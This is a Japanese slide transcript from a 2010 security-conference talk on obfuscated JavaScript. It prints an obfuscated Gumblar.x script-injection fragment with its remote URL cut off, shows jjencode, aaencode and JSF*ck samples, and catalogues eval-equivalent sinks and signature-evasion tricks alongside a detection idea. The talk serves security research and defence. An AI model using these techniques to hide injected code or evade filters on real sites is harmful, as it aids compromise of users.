340 likes | 487 Views
難読化 JavaScript. NetAgent Co.,Ltd . Yosuke HASEGAWA. 韓国 POC2010. 韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー. 韓国 POC2010. 本題 難読化 JavaScript. 難読化の理由. 圧縮の副作用として アンチウイルスや IDS のシグネイチャ回避 アンチ デバッグ. 難読化:圧縮 の副作用と して. 配信サイズの縮小 Google Closure Compiler
E N D
難読化 JavaScript NetAgentCo.,Ltd. Yosuke HASEGAWA
韓国 POC2010 • 韓国最大のセキュリティカンファレンス • 2010年12月14日、15日 • 参加者200名くらい • 海外からも有名スピーカー
難読化の理由 • 圧縮の副作用として • アンチウイルスやIDSのシグネイチャ回避 • アンチデバッグ
難読化:圧縮の副作用として • 配信サイズの縮小 • Google Closure Compiler • Yahoo! YUI Compressor • Microsoft Ajax Minifier
難読化:圧縮の副作用として • 圧縮されたJavaScriptのデバッグ • deminifyツールはいろいろ • FiddlerでdeminifiedJSを返す • Webブラウザのデバッガで解析
難読化:シグネイチャの回避 • パターンマッチの回避が目的 • 容易に亜種を生成 • 「解析のしにくさ」は副次的? • Gumblar、Gumblar.xなど
難読化 : Gumblar.x <script>/*GNU GPL*/ try{ window.onload = function(){ varIf0y2m9d6n3gx = document.createElement( 's)(c&&r&i@&$p(t))@&@....' .replace( /&|\(|@|#|\!|\$|\^|\)/ig, '')); If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s $$$c^r@))i$@p^@)t^!!$' .replace(/&|#|\)|\!|@|\^|\$|\(/ig, '')); If0y2m9d6n3gx.setAttribute('src', 'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/(' .replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));
難読化:Gumblar • 文字列リテラルに記号を挿入 • ‘文$字#%列’.replace( /記号/, '' ); • 機械的に生成可能 • 変数名が長い • var If0y2m9d6n3gx, Jydcftfn0k ; • 英数字のみ?
難読化 : Gumblar.x • パターンマッチでない検出アプローチ • 文字の出現頻度a-zA-Z0-9と &#)!@^$(の割合 • Gumblar : 30% - 55%jQuery : 87% Twitter : 88%
難読化:シグネイチャの回避 • 特定サイトのWAF/IDSの回避が目的 • 一撃必殺? 一期一会? • 亜種の生成は不要 • あまり知りません ^^; • 最終的には<script> <iframe>などを挿入
難読化 : アンチデバッグ • 解析しにくいコード • ブラウザ依存でも可? • 趣味の世界 • jjencode, aaencode, JSF*ck
jjencode $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())(); http://utf-8.jp/public/jjencode.html
aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); http://utf-8.jp/public/aaencode.html
JSF*ck (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() http://utf-8.jp/public/jsfuck.html
jjencodeによる攻撃 • http://www.malwaredomainlist.com/forums/index.php?topic=4354.0 • http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html
jjencodeによる攻撃 • 現実的には攻撃には不向き • 亜種の生成が困難 • IE7以下で動作しない • 「エンコード」なのでデコードが簡単 • 文字種から容易に検出可能
難読化の技法いろいろ • 変数の使いまわし、ロジックの裁断 • ヘタクソなプログラムと一緒 • 単純にノイズを埋め込む • JavaScriptの柔軟性を利用 • window["alert"](1) • eval("alert(1)")
難読化の技法 : 数値の生成 • 数値を使わないコードの記述が可能に • 数値でないものに演算子を適用"2" * "3" // 6+[] -~NaN // 0 - -1 == 1""^"" // 0 xor 0 == 0
難読化の技法 : 論理値の生成 • true / false を直接記述しないコードが可能に • 論理値でないものに論理演算子を適用![] // false""=='' // true[]<{} // true
難読化の技法 : 文字列の生成 • 8進数、16進数で表記"\101\x42" • JS or ブラウザのエスケープ関数unescape("%41%42")String.fromCharCode(0x41,0x42)atob("QUI=")
難読化の技法 : 文字列の生成 • 文字列でないものに文字列演算子を適用で、string にキャスト{}+"" //"[object Object]"[]+![] // "false"[]["$"]+"" // "undefined" • 配列形式で1文字取り出し([]+![])[ 0 ]// 'f'
難読化の技法 : 文字列の操作 • 文字の切り出し"abcd"[ 0 ] • 引用符を使わないリテラル文字列/ABCD/.source // 正規表現<>ABCD</> // E4X FF
難読化の技法 : 文字列の操作 • 文字の連結"A".concat("B")["A","B"].join().replace(/,/g,"")<>{"A"}{"B"}</a>// E4X FF
難読化の技法 : 文字列を実行 • DOM経由write("<script>...</script>") • JS内でevaleval( "alert(1)" )
難読化の技法 : 文字列を実行 • eval相当の機能 • setTimeout("alert(1)", 0 ) • Function("alert(1)")() • Number.constructor("alert(1)")() • execScript("alert(1)", "jscript") //IE
難読化の技法 : 文字列を実行 • eval相当の機能 • crypto.generateCRMFRequest( 'CN=0', 0, 0, null,'alert(1)', 384,null,'rsa-dual-use') // FF • execScript("#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode") // IE
難読化の技法 : windowの取得 window["alert"](1) window["eval"]("alert(1)")
難読化の技法 : windowの取得 window, self, this, top, parent x=''.split,x(null) Date.constructor('return this')() (0,[].sort)()
難読化の技法 : 将来… • ブラウザ依存の積極的活用 • 主ターゲットを絞る、ブラウザごとに違うexploit等 • アンチデバッガ • WebWorkersが利用可能
参考資料 • Our Favorite XSS Filters/IDSand how to Attack Themhttp://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf • JavaScript From Hellhttp://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf • sla.ckers.org web application security forum :: XSS Infohttp://sla.ckers.org/forum/list.php?2 • sla.ckers.org web application security forum :: Obfuscationhttp://sla.ckers.org/forum/list.php?24